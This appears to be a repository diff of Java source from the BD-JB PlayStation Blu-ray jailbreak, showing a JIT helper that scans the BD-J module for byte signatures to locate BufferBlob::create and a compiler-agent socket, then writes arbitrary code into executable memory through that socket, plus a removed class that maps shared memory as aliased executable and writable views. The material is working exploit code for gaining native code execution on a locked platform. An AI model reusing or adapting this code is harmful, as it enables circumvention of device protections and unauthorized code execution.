modinfo.putLong(0x00, SCE_KERNEL_MODULE_INFO_SIZE);
|
||||
if (sceKernelGetModuleInfo(BDJ_MODULE_HANDLE, modinfo) != 0) {
|
||||
throw new InternalError("sceKernelGetModuleInfo failed");
|
||||
}
|
||||
|
||||
long bdjBase = modinfo.getLong(0x108);
|
||||
int bdjSize = modinfo.getInt(0x110);
|
||||
|
||||
int i = 0;
|
||||
while (i < bdjSize
|
||||
&& api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) {
|
||||
i++;
|
||||
}
|
||||
if (i == bdjSize) {
|
||||
throw new InternalError("BufferBlob::create not found");
|
||||
}
|
||||
BufferBlob__create = bdjBase + i - 0x21;
|
||||
|
||||
i = 0;
|
||||
while (i < bdjSize
|
||||
&& api.memcmp(
|
||||
bdjBase + i,
|
||||
COMPILER_AGENT_SENDER_THREAD_SEQ,
|
||||
COMPILER_AGENT_SENDER_THREAD_SEQ.length)
|
||||
!= 0) {
|
||||
i++;
|
||||
}
|
||||
if (i == bdjSize) {
|
||||
throw new InternalError("compiler agent socket not found");
|
||||
}
|
||||
long compilerAgentSocketOpcode = bdjBase + i - 0x10;
|
||||
compilerAgentSocket =
|
||||
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
|
||||
}
|
||||
|
||||
int sceKernelGetModuleInfo(int modid, Buffer info) {
|
||||
return (int) api.call(sceKernelGetModuleInfo, modid, info != null ? info.address() : 0);
|
||||
}
|
||||
|
||||
long write(int fd, Buffer buf, long nbytes) {
|
||||
return api.call(write, fd, buf != null ? buf.address() : 0, nbytes);
|
||||
}
|
||||
|
||||
long read(int fd, Buffer buf, long nbytes) {
|
||||
return api.call(read, fd, buf != null ? buf.address() : 0, nbytes);
|
||||
}
|
||||
|
||||
long BufferBlob__create(Text name, int buffer_size) {
|
||||
return api.call(BufferBlob__create, name != null ? name.address() : 0, buffer_size);
|
||||
}
|
||||
|
||||
protected long jitMap(long size, long alignment) {
|
||||
if (size >= MAX_CODE_SIZE) {
|
||||
throw new IllegalArgumentException("size too big");
|
||||
}
|
||||
long blob =
|
||||
BufferBlob__create(new Text("jit"), (int) (align(size + 0x88 + alignment - 1, PAGE_SIZE)));
|
||||
if (blob == 0) {
|
||||
throw new OutOfMemoryError("BufferBlob__create failed");
|
||||
}
|
||||
long code = blob + api.read32(blob + 0x20);
|
||||
return align(code, alignment);
|
||||
}
|
||||
|
||||
protected void jitCopy(long dest, byte[] src, long n) {
|
||||
Buffer req = new Buffer(COMPILER_AGENT_REQUEST_SIZE);
|
||||
Int8 resp = new Int8();
|
||||
|
||||
byte[] chunk = new byte[CHUNK_SIZE];
|
||||
|
||||
for (long i = 0; i < n; i += chunk.length) {
|
||||
api.memset(chunk, 0, chunk.length);
|
||||
|
||||
System.arraycopy(src, (int) i, chunk, 0, (int) Math.min(n - i, chunk.length));
|
||||
|
||||
req.fill((byte) 0);
|
||||
req.put(0x00, chunk);
|
||||
req.putLong(0x38, dest + i - 0x28);
|
||||
if (write(compilerAgentSocket, req, req.size()) != req.size()) {
|
||||
throw new InternalError("write failed");
|
||||
}
|
||||
|
||||
resp.set((byte) 0);
|
||||
if (read(compilerAgentSocket, resp, resp.size()) != resp.size()) {
|
||||
throw new InternalError("read failed");
|
||||
}
|
||||
|
||||
if (resp.get() != ACK_MAGIC_NUMBER) {
|
||||
throw new AssertionError("wrong compiler response");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,131 +0,0 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb.jit;
|
||||
|
||||
import com.bdjb.api.API;
|
||||
import com.bdjb.api.Buffer;
|
||||
import com.bdjb.api.Int32;
|
||||
import com.bdjb.api.Int64;
|
||||
import com.bdjb.api.Text;
|
||||
|
||||
/** Default JIT implementation using SCE API. */
|
||||
public final class JitDefaultImpl extends AbstractJit {
|
||||
private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL =
|
||||
"sceKernelJitCreateSharedMemory";
|
||||
private static final String SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL =
|
||||
"sceKernelJitCreateAliasOfSharedMemory";
|
||||
private static final String SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL =
|
||||
"sceKernelJitMapSharedMemory";
|
||||
|
||||
private static JitDefaultImpl instance;
|
||||
|
||||
private long sceKernelJitCreateSharedMemory;
|
||||
private long sceKernelJitCreateAliasOfSharedMemory;
|
||||
private long sceKernelJitMapSharedMemory;
|
||||
|
||||
private Int32 sharedHandle = new Int32();
|
||||
private Int32 aliasHandle = new Int32();
|
||||
|
||||
private long rx;
|
||||
private long rw;
|
||||
|
||||
private JitDefaultImpl() {
|
||||
sceKernelJitCreateSharedMemory =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL);
|
||||
sceKernelJitCreateAliasOfSharedMemory =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL);
|
||||
sceKernelJitMapSharedMemory =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL);
|
||||
|
||||
if (sceKernelJitCreateSharedMemory == 0
|
||||
|| sceKernelJitCreateAliasOfSharedMemory == 0
|
||||
|| sceKernelJitMapSharedMemory == 0) {
|
||||
throw new InternalError("symbols not found");
|
||||
}
|
||||
}
|
||||
|
||||
public static synchronized JitDefaultImpl getInstance() {
|
||||
if (instance == null) {
|
||||
instance = new JitDefaultImpl();
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
|
||||
int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) {
|
||||
return (int)
|
||||
api.call(
|
||||
sceKernelJitCreateSharedMemory,
|
||||
name.address(),
|
||||
len,
|
||||
maxProt,
|
||||
fdOut != null ? fdOut.address() : 0);
|
||||
}
|
||||
|
||||
int sceKernelJitCreateAliasOfSharedMemory(int fd, int maxProt, Int32 fdOut) {
|
||||
return (int)
|
||||
api.call(
|
||||
sceKernelJitCreateAliasOfSharedMemory,
|
||||
fd,
|
||||
maxProt,
|
||||
fdOut != null ? fdOut.address() : 0);
|
||||
}
|
||||
|
||||
int sceKernelJitMapSharedMemory(int fd, int prot, Int64 startOut) {
|
||||
return (int)
|
||||
api.call(sceKernelJitMapSharedMemory, fd, prot, startOut != null ? startOut.address() : 0);
|
||||
}
|
||||
|
||||
protected long jitMap(long size, long alignment) {
|
||||
if (sceKernelJitCreateSharedMemory(
|
||||
new Text("jit"),
|
||||
align(size + alignment - 1, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
sharedHandle)
|
||||
!= 0) {
|
||||
throw new InternalError("sceKernelJitCreateSharedMemory failed");
|
||||
}
|
||||
|
||||
if (sceKernelJitCreateAliasOfSharedMemory(
|
||||
sharedHandle.get(), PROT_READ | PROT_WRITE, aliasHandle)
|
||||
!= 0) {
|
||||
throw new InternalError("sceKernelJitCreateAliasOfSharedMemory failed");
|
||||
}
|
||||
|
||||
if ((rx =
|
||||
mmap(
|
||||
0,
|
||||
align(size + alignment - 1, PAGE_SIZE),
|
||||
PROT_READ | PROT_EXEC,
|
||||
MAP_SHARED,
|
||||
sharedHandle.get(),
|
||||
0))
|
||||
== MAP_FAILED) {
|
||||
throw new InternalError("mmap failed");
|
||||
}
|
||||
rx = align(rx, alignment);
|
||||
|
||||
if ((rw =
|
||||
mmap(
|
||||
0,
|
||||
align(size + alignment - 1, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE,
|
||||
MAP_SHARED,
|
||||
aliasHandle.get(),
|
||||
0))
|
||||
== MAP_FAILED) {
|
||||
throw new InternalError("mmap failed");
|
||||
}
|
||||
rw = align(rw, alignment);
|
||||
|
||||
return rx;
|
||||
}
|
||||
|
||||
protected void jitCopy(long dest, byte[] src, long n) {
|
||||
api.memcpy(dest - rx + rw, src, n);
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user